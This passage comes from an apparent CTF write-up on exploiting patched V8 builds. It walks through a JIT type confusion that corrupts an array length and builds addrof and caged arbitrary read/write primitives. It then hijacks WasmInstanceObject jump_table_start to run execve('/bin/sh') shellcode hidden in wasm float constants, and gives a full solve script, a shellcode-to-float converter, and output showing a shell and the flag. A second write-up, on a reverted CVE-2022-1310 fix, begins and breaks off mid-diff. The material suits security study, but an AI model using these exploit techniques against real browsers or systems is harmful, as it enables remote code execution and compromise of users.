0x154a000dbd7c|+0x0038|+007: 0x000dbd95000006cd  # oob_arr.properties = 0x6cd, oob_arr.elements = 0xdbd95
0x154a000dbd84|+0x0040|+008: 0x0000056500000002  # oob_arr.elements.length = 0x2 >> 1 = 0x1
0x154a000dbd8c|+0x0048|+009: 0x000006e900000002
0x154a000dbd94|+0x0050|+010: 0x0000000200000851  # oob_arr.elements.map = 0x851, oob_arr.elements.length = 0x2 >> 1 = 0x1
0x154a000dbd9c|+0x0058|+011: 0x3ff199999999999a  # hexadecimal representation for `1.1`
0x154a000dbda4|+0x0060|+012: 0x0000000200000851
0x154a000dbdac|+0x0068|+013: 0x4000cccccccccccd
0x154a000dbdb4|+0x0070|+014: 0x000006cd0018efb1
0x154a000dbdbc|+0x0078|+015: 0x00000002000dbdcd

After [5]

Now when 4.1835592388585281e-216 is pushed, it would be located at 0x154a000dbd84

gef> tele 0x154a000dbd45-0x1 # &a
0x154a000dbd44|+0x0000|+000: 0x0000001000000565  # This is how JIT'd function `f` sees `a` elements as `HOLEY_DOUBLE_ELEMENTS` kind
0x154a000dbd4c|+0x0008|+001: 0x000dbd6d000dbd29  # a[0]
0x154a000dbd54|+0x0010|+002: 0x000006e9000006e9  # a[1]
0x154a000dbd5c|+0x0018|+003: 0x000006e9000006e9  # a[2]
0x154a000dbd64|+0x0020|+004: 0x000006e9000006e9  # a[3]
0x154a000dbd6c|+0x0028|+005: 0x9999999a000007b1  # a[4]
0x154a000dbd74|+0x0030|+006: 0x0018eff13fb99999  # a[5] 
0x154a000dbd7c|+0x0038|+007: 0x000dbd95000006cd  # a[6]
0x154a000dbd84|+0x0040|+008: 0x1337133700010000  # a[7] (recently pushed)
gef> tele 0x154a000dbd79-0x1  # &oob_arr (from `oob_arr` object perspective)
0x154a000dbd78|+0x0000|+000: 0x000006cd0018eff1  # map = 0x18eff1, properties = 0x6cd
0x154a000dbd80|+0x0008|+001: 0x00010000000dbd95  # elements = 0xdbd95, length = 0x10000 >> 1 = 0x8000
0x154a000dbd88|+0x0010|+002: 0x0000000213371337
gef> c
d8> oob_arr.length.toString(16)
"8000"

addrof Primitive

After overwriting oob_arr object length, we have out-of-bound (OOB) access as the actual oob_arr.elements length is smaller than the array object length. Let's use this OOB access to build addrof primitive.

If we have an array which stores an object, the array elements would store the address of the object and accessing this through the declared array would return us the object itself but not the address due to the element kind is set accordingly. Things get interesting when we try to access this object from another array whose element kind is of PACKED_DOUBLE_ELEMENTS or HOLEY_DOUBLE_ELEMENTS. Since every elements in this array is interpreted as pure immediate value, the array would not try to derefence any value. Thus, returning us the pointer to the object.

note

SMI array works too but it only accesses 32-bit value at a time, unlike double array which accesses 64-bit value at a time.

Now, we introduce obj_leaker which would serve as an array that stores an object and helper functions to perform the OOB access and conversion between integer and floating number.

let a;
let oob_arr;
let obj_leaker;

let jitted = false

let p = new Proxy(Object, {
    get: function() {
        if (jitted) {
            a[0] = {};
            oob_arr = Array(1);
            oob_arr[0] = 1.1;
            obj_leaker = [a, 2.2];
        }
        return Object.prototype;
    }
})
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);

function itof(i) {
    int_view[0] = i
    return float_view[0]
}

function ftoi(f) {
    float_view[0] = f
    return int_view[0]
}

function lo(x) {
    return x & BigInt(0xffffffff)
}

function hi(x) {
    return (x >> 32n) & BigInt(0xffffffff)
}

function hex(i) {
    return "0x" + i.toString(16)
}

function oob_read32(offset) {
    // convert from uint32 indexing to uin64 indexing
    let val = ftoi(oob_arr[offset >> 1])
    if (offset % 2 == 0) {
        return lo(val)
    }
    return hi(val)
}

function oob_write32(offset, val) {
    // convert from uint32 indexing to uin64 indexing
    let temp = ftoi(oob_arr[offset >> 1])
    let new_val;
    if (offset % 2 == 0) {
        new_val = itof((hi(temp) << 32n) | val)
    } else {
        new_val = itof(val << 32n | lo(temp))
    }
    oob_arr[offset >> 1] = new_val
}

const OBJ_LEAKER_OFFSET = ??
function addrof(o) {
    obj_leaker[0] = o  // assign our target object to `obj_leaker`
    let addr = caged_oob_read32(OBJ_LEAKER_OFFSET)  // read it using `oob_arr`
    return addr
}

Next, we need to find OBJ_LEAKER_OFFSET which is the offset between oob_arr[0] and obj_leaker[0]. This could be achieved easily by bruteforcing and match the read value with the address of a (obtained from %DebugPrint(a))

for (let i = 0; i < 0x40; i++) {
    print(hex(i), hex(oob_read32(i)))
}
eval("%DebugPrint(a)")

Using release version of d8:

$ ./d8 --allow-natives-syntax ./pwn.js
[snip]
0xb 0x565
0xc 0x2
0xd 0x537c0d
0xe 0x65e589
0xf 0x6cd
[snip]
0x2b0600537c0d <JSArray[8]>

From the output of %DebugPrint(a), we know that the address of a is 0x109400532779. Hence, we need to look for 0x532779 from the output and that would be our offset value, which happens to be 0xd.

const OBJ_LEAKER_OFFSET = 0xd
function addrof(o) {
    obj_leaker[0] = o  // assign our target object to `obj_leaker`
    let addr = oob_read32(OBJ_LEAKER_OFFSET)  // read it using `oob_arr`
    return addr
}

print(hex(addrof(a)))
eval("%DebugPrint(a)")
$ ./d8 --allow-natives-syntax ./pwn.js
[+] Corrupted oob_arr.length with 32768
0x53b595
0x3c630053b595 <JSArray[8]>

We could see that our addrof primitive is working but it only retrieves the 32-bit sandbox offset which is as expected. But this is good enough for now.

Caged Arbitrary Read and Write Primitives

Now, we will see how to get arbitrary read and write primitives inside the heap sandbox by introducing another helper array. With OOB write, we could overwrite this helper array elements pointer to control the memory address in which the array perform read and write operation.

Recall that the elements object itself has 8 bytes in the beginning to store the map and length field. If the elements pointer is set to N, performing arr[i] would result in accessing memory address (N+8) + i * element_size. Thus, if we want to perform AAR/AAW on addres X, we need to subtract it by 8 and remember to set the LSB to 1 for pointer tagging.

let a;
let oob_arr;
let obj_leaker;
let c_aar_arr;
let c_aaw_arr;

let jitted = false

let p = new Proxy(Object, {
    get: function() {
        if (jitted) {
            a[0] = {};
            oob_arr = Array(1);
            oob_arr[0] = 1.1;
            obj_leaker = [a];
            c_aar_arr = [2.2];
            c_aaw_arr = [3.3];
        }
        return Object.prototype;
    }
})
const c_aar_arr_elements_offset = ??
const c_aaw_arr_elements_offset = ??

function caged_arb_read32(addr) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aar_arr_elements_offset, elements)
    let leak = lo(ftoi(c_aar_arr[0]))
    return leak
}

function caged_arb_read64(addr) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aar_arr_elements_offset, elements)
    let leak = ftoi(c_aar_arr[0])
    return leak
}

function caged_arb_write32(addr, val) {
    let elements = addr - 8n | 1n;
    let temp = caged_arb_read32(addr+4n)
    oob_write32(c_aaw_arr_elements_offset, elements)
    c_aaw_arr[0] = itof((temp << 32n) | val)
}

function caged_arb_write64(addr, val) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aaw_arr_elements_offset, elements)
    c_aaw_arr[0] = itof(val)
}

This time, we would need to get the offset between:

  • oob_arr[0] and &c_aar_arr.elements
  • oob_arr[0] and &c_aaw_arr.elements

We could repeat the same process when finding OBJ_LEAKER_OFFSET, but this time we would use GDB to see the value of c_aar_arr.elements

for (let i = 0; i < 0x40; i++) {
    print(hex(i), hex(oob_read32(i)))
}
eval("%DebugPrint(c_aar_arr)")
eval("%DebugPrint(c_aaw_arr)")
$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./pwn.js'
[snip]
0x13 0x6cd
0x14 0x5594bd
0x15 0x2
[snip]
0x21 0x6cd
0x22 0x5594f5
0x23 0x2
[snip]
gef> tele 0x327e005594a5-0x1 2
0x327e005594a4|+0x0000|+000: 0x000006cd0018efb1
0x327e005594ac|+0x0008|+001: 0x00000002005594bd
gef> tele 0x327e005594dd-0x1 2
0x327e005594dc|+0x0000|+000: 0x000006cd0018efb1
0x327e005594e4|+0x0008|+001: 0x00000002005594f5

The final working primitive:

const c_aar_arr_elements_offset = 0x14
const c_aaw_arr_elements_offset = 0x22

function caged_arb_read32(addr) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aar_arr_elements_offset, elements)
    let leak = lo(ftoi(c_aar_arr[0]))
    return leak
}

function caged_arb_read64(addr) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aar_arr_elements_offset, elements)
    let leak = ftoi(c_aar_arr[0])
    return leak
}

function caged_arb_write32(addr, val) {
    let elements = addr - 8n | 1n;
    let temp = caged_arb_read32(addr+4n)
    oob_write32(c_aaw_arr_elements_offset, elements)
    c_aaw_arr[0] = itof((temp << 32n) | val)
}

function caged_arb_write64(addr, val) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aaw_arr_elements_offset, elements)
    c_aaw_arr[0] = itof(val)
}

We verify that our primitive is working with this little test:

test = [6.6, 7.7]

// trying to read test[0] by getting &test.elements
test_addr = addrof(test)
test_el_addr = caged_arb_read32(test_addr+8n)
test_0 = caged_arb_read64(test_el_addr+8n)
print(itof(test_0), "===", test[0])

// trying to modify test[0] and test[1] with our write primitive
print(hex(ftoi(test[0])))
print(hex(ftoi(test[1])))
caged_arb_write32(test_el_addr+8n, 0x13371337n)
caged_arb_write32(test_el_addr+8n+4n, 0x80088008n)
caged_arb_write64(test_el_addr+8n+8n, 0xdeadbeefcafebaben)
print(hex(ftoi(test[0])))
print(hex(ftoi(test[1])))
$ ./d8 --allow-natives-syntax ./my-poc.js
[+] Corrupted oob_arr.length with 32768
6.6 === 6.6
0x401a666666666666
0x401ecccccccccccd
0x8008800813371337
0xdeadbeefcafebabe

Escaping V8 Sandbox

When one is able to perform AAR/AAW outside the heap sandbox, it is usually considered to have escaped the sandbox. One of the common method is through corrupting ArrayBuffer backing_store which stores raw pointer instead of compressed pointer. However, this is not possible anymore in the V8 version that we are using.

The novel techniques usually involve using wasm to bypass the sandbox, however some of them have been patched:

I could not find any other way to get unconstrained AAR/AAW due to lack of raw uncompressed pointer (skill issue probably).

Getting Code Execution

Getting code execution using shellcode as immediate numbers (as mentioned in the starlabs blog) does not work anymore.

After the end of the CTF, the author of this challenge revealed that he overwrote WasmInstanceObject jump_table_start to hijack the execution flow into our shellcode that we crafted inside the wasm code. Apparently, jump_table_start stores the address to RWX page for wasm stuff.

spektre: to escape the sandbox, you will need to use the wasm instance, there is a 64 bit raw pointer that is used to store the starting address of the jump table, if you overwrite that you will get RIP control. then you have to craft your shellcode in wasm code and then just have to jump in middle of the wasm code to execute your shellcode.

I used this blog post for inspiration on crafting shellcode inside wasm code using floating numbers, as well as starlabs blog post to connect the fragmented shellcode with short jmp and convert shellcode to floating numbers.

Let us try to use this simple wasm code

(module
  (func (export "main") (result f64)
    f64.const 13.37
    f64.const 133.37
    f64.const 1333.37
    drop
    drop
  )
)

Then, compile it into bytecode using this toolkit.

wat2wasm ./sc.wat

Next, convert the bytecode into array with this simple python3 script.

#!/usr/bin/env python3

import sys

with open(sys.argv[1], "rb") as f:
    bc = f.read()

arr = []
for i in bc:
    arr.append(i)

print(arr)
$ python3 ./bc.py ./sc.wasm
[0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 33, 1, 31, 0, 68, 61, 10, 215, 163, 112, 189, 42, 64, 68, 164, 112, 61, 10, 215, 171, 96, 64, 68, 20, 174, 71, 225, 122, 213, 148, 64, 26, 26, 11]

Next, we copy and paste the array to our javascript code for integrating wasm.

// wasm.js
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 33, 1, 31, 0, 68, 61, 10, 215, 163, 112, 189, 42, 64, 68, 164, 112, 61, 10, 215, 171, 96, 64, 68, 20, 174, 71, 225, 122, 213, 148, 64, 26, 26, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
// JIT compile the wasm bytecode such that our floating immediate values are placed on RWX memory page
for (let j = 0x0; j < 10000; j++) {
    wmain()
}

Next, we run the javascript code in debugger using the debug version of d8. We then try to look for our 13.37 floating numbers on a RWX memory page.

$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./wasm.js'
gef> p/x 13.37
$1 = 0x402abd70a3d70a3d
gef> pipe search-pattern 0x402abd70a3d70a3d | grep -A1 'rwx'
[+] In (0x35ecd279d000-0x35ecd279e000 [rwx])
  0x35ecd279d84f:    3d 0a d7 a3 70 bd 2a 40  c4 c1 f9 6e c2 49 ba a4    |  =...p.*@...n.I..  |

Since we know from numencyberlabs blog post that the instruction would be mov reg, imm, we just bruteforce subtracting 0x35ecd279d84f with 1, 2, 3, ... until we get the matching instruction.

gef> x/10i 0x35ecd279d84f-0x2
   0x35ecd279d84d:      movabs r10,0x402abd70a3d70a3d
   0x35ecd279d857:      vmovq  xmm0,r10
   0x35ecd279d85c:      movabs r10,0x4060abd70a3d70a4
   0x35ecd279d866:      vmovq  xmm1,r10
   0x35ecd279d86b:      movabs r10,0x4094d57ae147ae14
   0x35ecd279d875:      vmovq  xmm2,r10
   0x35ecd279d87a:      mov    r10,QWORD PTR [rsi+0x77]

Next, we take this assembly code and dump it into this link to see the machine code.

0:  49 ba 3d 0a d7 a3 70    movabs r10,0x402abd70a3d70a3d
7:  bd 2a 40
a:  c4 c1 f9 6e c2          vmovq  xmm0,r10
f:  49 ba a4 70 3d 0a d7    movabs r10,0x4060abd70a3d70a4
16: ab 60 40
19: c4 c1 f9 6e ca          vmovq  xmm1,r10
1e: 49 ba 14 ae 47 e1 7a    movabs r10,0x4094d57ae147ae14
25: d5 94 40
28: c4 c1 f9 6e d2          vmovq  xmm2,r10

From here, we could reason out how many bytes do we need to jump from one shellcode to another shellcode. The answer is 7 bytes. Now that we have the jump offset, we could tweak the shellcode conversion script from starlabs and use it to generate our floating number shellcode. The modified script can be found here.

The next step is to analyse when is this WasmInstanceObject.jump_table_start field accessed using debugger with debug version of d8.

// wasm.js
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 33, 1, 31, 0, 68, 61, 10, 215, 163, 112, 189, 42, 64, 68, 164, 112, 61, 10, 215, 171, 96, 64, 68, 20, 174, 71, 225, 122, 213, 148, 64, 26, 26, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
eval("%DebugPrint(instance)")
eval("%SystemBreak")

We could see the debug output of an WasmInstanceObject and the jump_table_start field is located at offset 0x48.

$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./wasm.js'
DebugPrint: 0x3b01000da03d: [WasmInstanceObject] in OldSpace
 - map: 0x3b01000d13a1 <Map[208](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3b01000d144d <Object map = 0x3b01000da015>
 - elements: 0x3b01000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x3b01001c9a99 <Module map = 0x3b01000d1279>
 - exports_object: 0x3b01001c9ba9 <Object map = 0x3b01000da26d>
 - native_context: 0x3b01000c3c79 <NativeContext[285]>
 - memory_objects: 0x3b01000006cd <FixedArray[0]>
 - tables: 0x3b01000006cd <FixedArray[0]>
 - indirect_function_tables: 0x3b01000006cd <FixedArray[0]>
 - imported_function_refs: 0x3b01000006cd <FixedArray[0]>
 - indirect_function_table_refs: 0x3b01000006cd <FixedArray[0]>
 - wasm_internal_functions: 0x3b01001c9b79 <FixedArray[1]>
 - managed_object_maps: 0x3b01001c9b9d <FixedArray[1]>
 - feedback_vectors: 0x3b01000006cd <FixedArray[0]>
 - well_known_imports: 0x3b01000006cd <FixedArray[0]>
 - memory0_start: 0x3c00ffffffff
 - memory0_size: 0
 - new_allocation_limit_address: 0x5555557030d0
 - new_allocation_top_address: 0x5555557030c8
 - old_allocation_limit_address: 0x5555557030e8
 - old_allocation_top_address: 0x5555557030e0
 - imported_function_targets: 0x3b0100000e69 <ByteArray[0]>
 - globals_start: 0x3c00ffffffff
 - imported_mutable_globals: 0x3b0100000e69 <ByteArray[0]>
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: 0x3b0100000e69 <ByteArray[0]>
 - indirect_function_table_targets: 0x3b0100006175 <ExternalPointerArray[0]>
 - isorecursive_canonical_types: 0x55555577d8a0
 - jump_table_start: 0x2ba49517a000
 - data_segment_starts: 0x3b0100000e69 <ByteArray[0]>
 - data_segment_sizes: 0x3b0100000e69 <ByteArray[0]>
 - element_segments: 0x3b01000006cd <FixedArray[0]>
 - hook_on_function_call_address: 0x555555702c09
 - tiering_budget_array: 0x555555774330
 - memory_bases_and_sizes: 0x3b0100000e69 <ByteArray[0]>
 - break_on_entry: 0
 - properties: 0x3b01000006cd <FixedArray[0]>
 - All own properties (excluding elements): {}

gef> tele 0x3b01000da03c 10
0x3b01000da03c|+0x0000|+000: 0x000006cd000d13a1
0x3b01000da044|+0x0008|+001: 0x000006cd000006cd
0x3b01000da04c|+0x0010|+002: 0x00000e69000006cd
0x3b01000da054|+0x0018|+003: 0x00000e6900006175 ('ua'?)
0x3b01000da05c|+0x0020|+004: 0x0000000000000e69
0x3b01000da064|+0x0028|+005: 0xffffffffff000000
0x3b01000da06c|+0x0030|+006: 0x0000000000000000
0x3b01000da074|+0x0038|+007: 0x000055555577d8a0  ->  0x00007fff00000003
0x3b01000da07c|+0x0040|+008: 0xffffffffff000000
0x3b01000da084|+0x0048|+009: 0x00002ba49517a000  ->  0x000000000007bbe9

Next, we setup a read watchpoint at 0x3b01000da084, continue, then execute:

var wmain = instance.exports.main;
wmain();
gef> rwatch *0x3b01000da084
Hardware read watchpoint 1: *0x3b01000da084
gef> c
V8 version 12.2.0 (candidate)
d8> var wmain = instance.exports.main;
undefined
d8> wmain();

Thread 1 "d8" hit Hardware read watchpoint 1: *0x3b01000da084
    0x7ffff3a72e01 4c037e47           <Builtins_WasmCompileLazy+0xc1>   add    r15, QWORD PTR [rsi + 0x47]
 -> 0x7ffff3a72e05 48837df82c         <Builtins_WasmCompileLazy+0xc5>   cmp    QWORD PTR [rbp - 0x8], 0x2c
    0x7ffff3a72e0a 741d               <Builtins_WasmCompileLazy+0xca>   je     0x7ffff3a72e29 <Builtins_WasmCompileLazy+0xe9>
gef> x/gx $rsi+0x47
0x3b01000da084: 0x00002ba49517a000
gef> x/20i $rip
=> 0x7ffff3a72e05 <Builtins_WasmCompileLazy+197>:       cmp    QWORD PTR [rbp-0x8],0x2c
   0x7ffff3a72e0a <Builtins_WasmCompileLazy+202>:       je     0x7ffff3a72e29 <Builtins_WasmCompileLazy+233>
   0x7ffff3a72e0c <Builtins_WasmCompileLazy+204>:       mov    edi,0x30
   0x7ffff3a72e11 <Builtins_WasmCompileLazy+209>:       mov    r10,rsp
   0x7ffff3a72e14 <Builtins_WasmCompileLazy+212>:       sub    rsp,0x8
   0x7ffff3a72e18 <Builtins_WasmCompileLazy+216>:       and    rsp,0xfffffffffffffff0
   0x7ffff3a72e1c <Builtins_WasmCompileLazy+220>:       mov    QWORD PTR [rsp],r10
   0x7ffff3a72e20 <Builtins_WasmCompileLazy+224>:       mov    rax,QWORD PTR [r13+0x1cb8]
   0x7ffff3a72e27 <Builtins_WasmCompileLazy+231>:       call   rax
   0x7ffff3a72e29 <Builtins_WasmCompileLazy+233>:       mov    rsp,rbp
   0x7ffff3a72e2c <Builtins_WasmCompileLazy+236>:       pop    rbp
   0x7ffff3a72e2d <Builtins_WasmCompileLazy+237>:       jmp    r15
   0x7ffff3a72e30:      int3
   0x7ffff3a72e31:      int3
   0x7ffff3a72e32:      int3
   0x7ffff3a72e33:      int3
   0x7ffff3a72e34:      int3
   0x7ffff3a72e35:      int3
   0x7ffff3a72e36:      int3
   0x7ffff3a72e37:      int3

We could see that executing wmain(); triggers the watchpoint and we end up with the code that uses this jump_table_start field. Further down we could see jmp r15 instruction which reveals that if we overwrite the value of jump_table_start, we could hijack the code execution flow. This is looking good for us. However, if we try to execute wmain(); again, this part of code is not executed anymore. To trigger this again, we need to execute another function.

(module
  (func (export "main") (result f64)
    f64.const 13.37
    f64.const 133.37
    f64.const 1333.37
    drop
    drop
  )
  (func (export "pwn"))
)

We update our wasm.js with the latest bytecode and re-run it again through debugger. We then setup the read watchpoint and execute these code

var wmain = instance.exports.main;
wmain();
var pwn = instance.exports.pwn;
pwn();

Notice that it breaks when calling wmain() and pwn().

V8 version 12.2.0 (candidate)
d8> var wmain = instance.exports.main;
undefined
d8> wmain();

Thread 1 "d8" hit Hardware read watchpoint 1: *0x3c49000da114
gef> info reg r15
r15            0x98c16bfb000       0x98c16bfb000
gef> c

d8> var pwn = instance.exports.pwn;
undefined
d8> pwn();

Thread 1 "d8" hit Hardware read watchpoint 1: *0x3c49000da114
gef> info reg r15
r15            0x98c16bfb005       0x98c16bfb005

Also notice that now r15 is 0x5 more than jump_table_start.

Now that we have all the pieces we need, we could start creating execve('/bin/sh') shellcode and update our initial solve script. The starting location of the shellcode is consistent accross multiple run (but differs between debug and release version). Hence, we could just observe and use it when overwriting jump_table_start field.

Final Solve Script

The solve script and other helper files could be found on this link

let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);

function itof(i) {
    int_view[0] = i
    return float_view[0]
}

function ftoi(f) {
    float_view[0] = f
    return int_view[0]
}

function lo(x) {
    return x & BigInt(0xffffffff)
}

function hi(x) {
    return (x >> 32n) & BigInt(0xffffffff)
}

function hex(i) {
    return "0x" + i.toString(16)
}

THRESHOLD = 0x2000

function f(p) {
    a.push(Reflect.construct(function(){}, arguments, p)?4.1835592388585281e-216:0); // itof(0x1337133700010000)
}

let a;
let oob_arr;
let obj_leaker;
let c_aar_arr;
let c_aaw_arr;

let jitted = false

let p = new Proxy(Object, {
    get: function() {
        if (jitted) {
            a[0] = {};
            oob_arr = Array(1);
            oob_arr[0] = 1.1;
            obj_leaker = [a];
            c_aar_arr = [2.2];
            c_aaw_arr = [3.3];
        }
        return Object.prototype;
    }
})

for (let i = 0; i <= THRESHOLD; i++) {
    a = Array(8)
    a[1] = 0.1
    a.pop()  // make a room such that push() does not reallocate elements
    if (i == THRESHOLD) {
        jitted = true;
    }
    f(p)
}
console.assert(oob_arr.length == 0x8000)
print("[+] Corrupted oob_arr.length with", oob_arr.length)

function oob_read32(offset) {
    // convert from uint32 indexing to uin64 indexing
    let val = ftoi(oob_arr[offset >> 1])
    if (offset % 2 == 0) {
        return lo(val)
    }
    return hi(val)
}

function oob_write32(offset, val) {
    // convert from uint32 indexing to uin64 indexing
    let temp = ftoi(oob_arr[offset >> 1])
    let new_val;
    if (offset % 2 == 0) {
        new_val = itof((hi(temp) << 32n) | val)
    } else {
        new_val = itof(val << 32n | lo(temp))
    }
    oob_arr[offset >> 1] = new_val
}

const OBJ_LEAKER_OFFSET = 0xd
function addrof(o) {
    obj_leaker[0] = o  // assign our target object to `obj_leaker`
    let addr = oob_read32(OBJ_LEAKER_OFFSET)  // read it using `oob_arr`
    return addr
}

const c_aar_arr_elements_offset = 0x14
const c_aaw_arr_elements_offset = 0x22

function caged_arb_read32(addr) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aar_arr_elements_offset, elements)
    let leak = lo(ftoi(c_aar_arr[0]))
    return leak
}

function caged_arb_read64(addr) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aar_arr_elements_offset, elements)
    let leak = ftoi(c_aar_arr[0])
    return leak
}

function caged_arb_write32(addr, val) {
    let elements = addr - 8n | 1n;
    let temp = caged_arb_read32(addr+4n)
    oob_write32(c_aaw_arr_elements_offset, elements)
    c_aaw_arr[0] = itof((temp << 32n) | val)
}

function caged_arb_write64(addr, val) {
    let elements = addr - 8n | 1n;
    oob_write32(c_aaw_arr_elements_offset, elements)
    c_aaw_arr[0] = itof(val)
}

/*
(module
  (func (export "main") (result f64)
    f64.const 1.617548436999262e-270
    f64.const 1.6181477269733566e-270
    f64.const 1.6305238557700824e-270
    f64.const 1.6477681441619941e-270
    f64.const 1.6456891197542608e-270
    f64.const 1.6304734321072042e-270
    f64.const 1.6305242777505848e-270
    drop
    drop
    drop
    drop
    drop
    drop
  )
  (func (export "pwn"))
)
*/

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {
    wmain()
}

instance_addr = addrof(instance)
jump_table_start = instance_addr + 0x48n
rwx_addr = caged_arb_read64(jump_table_start)
sc_addr = rwx_addr + 0x81an - 0x5n
print("[+] Shellcode @", hex(sc_addr+0x5n))

print("[+] Overwriting WasmInstanceObject jump_table_start to point to our shellcode")
caged_arb_write32(jump_table_start, sc_addr & BigInt(2**32-1))

 // to trigger jmp to address pointed by jump_table_start, we need another new function
var pwn = instance.exports.pwn;
print("[+] Executing shellcode")
pwn();
$ ./solve.py
[+] Opening connection to localhost on port 5555: Done
[*] Switching to interactive mode
[+] Corrupted oob_arr.length with 32768
[+] Shellcode @ 0x334262b8781a
[+] Overwriting WasmInstanceObject jump_table_start to point to our shellcode
[+] Executing shellcode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ /catflag
bi0sctf{w3ll_d3f1n1t3ly_4_sk1ll_i55u3_1f3738f8}

References

Interesting Read

Appendix

Building d8 for Debugging

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$(pwd)/depot_tools:$PATH"
fetch v8
cd v8
./build/install-build-deps.sh
git checkout 970c2bf28dd
git apply v8.patch
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
cd ./out.gn/x64.debug
./d8

Python3 Script for Shellcode to Floating Numbers

The script to convert shellcode to floating numbers:

#!/usr/bin/env python3

import struct

from pwn import *

context.arch = "amd64"

# based off shellcraft.amd64.linux.execve(path='/bin/sh')
sc = '''
    push 0x68732f6e
    pop rax
    push 0x69622f
    pop rbx
    shl rax, 24
    add rax, rbx
    xor rbx, rbx
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
'''


def packshellcode(sc, n):  # packs shellcode into n-byte blocks
    ret = []
    cur = b""
    for line in sc.splitlines():
        print(line)
        k = asm(line)
        print(k)
        assert (len(k) <= n)
        if (len(cur) + len(k) <= n):
            cur += k
        else:
            ret += [cur.ljust(6, b"\x90")]  # pad with NOPs
            cur = k

    ret += [cur.ljust(6, b"\x90")]
    return ret


SC = packshellcode(sc, 6)

# Ensure no repeat of 6 byte blocks
D = dict(zip(SC, [SC.count(x) for x in SC]))
assert (max(D.values()) == 1)

# short jmp rel8: https://www.felixcloutier.com/x86/jmp
jmp = b'\xeb'

# add jumps after each 6 byte block
SC = [(x + jmp + b"\x07") for x in SC]

SC = [struct.unpack('<d', x)[0] for x in SC]  # represent as doubles

for i in SC:
    print(f"f64.const {i}")

for i in range(len(SC) - 1):
    print("drop")

osu-v8

Author: rycbar
Description: You’re probably accessing the osu website with Chromium, right?
Attachment: dist.zip

tip

Some lines of code may be hidden for brevity.

Unhide the lines by clicking the eye button on top right corner of the code block

TL;DR

  • CVE-2022-1310 on V8 version 12.2.0 (8cf17a14a78cc1276eb42e1b4bb699f705675530, 2024-01-04)
  • UAF on RegExp().lastIndex to create fake object (PACKED_DOUBLE_ELEMENTS array)
  • Use the fake object to build other primitives, i.e., addrof and caged read/write
  • shellcode execution via wasm instance object

Patch Analysis

note

Read this section if you are interested on how I found the CVE identifier

The given patch is the reverse of the fix for CVE-2022-1310 and disable functions built into d8 which force players to get RCE instead of reading the flag directly with read('flag.txt').

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index eb804e52b18..89f4af9c8b6 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3284,23 +3284,23 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));

-  global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write",
-                       FunctionTemplate::New(isolate, WriteStdout));
-  if (!i::v8_flags.fuzzing) {
-    global_template->Set(isolate, "writeFile",
-                         FunctionTemplate::New(isolate, WriteFile));
-  }
-  global_template->Set(isolate, "read",
-                       FunctionTemplate::New(isolate, ReadFile));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+  // global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
+  // global_template->Set(isolate, "printErr",
+  //                      FunctionTemplate::New(isolate, PrintErr));
+  // global_template->Set(isolate, "write",
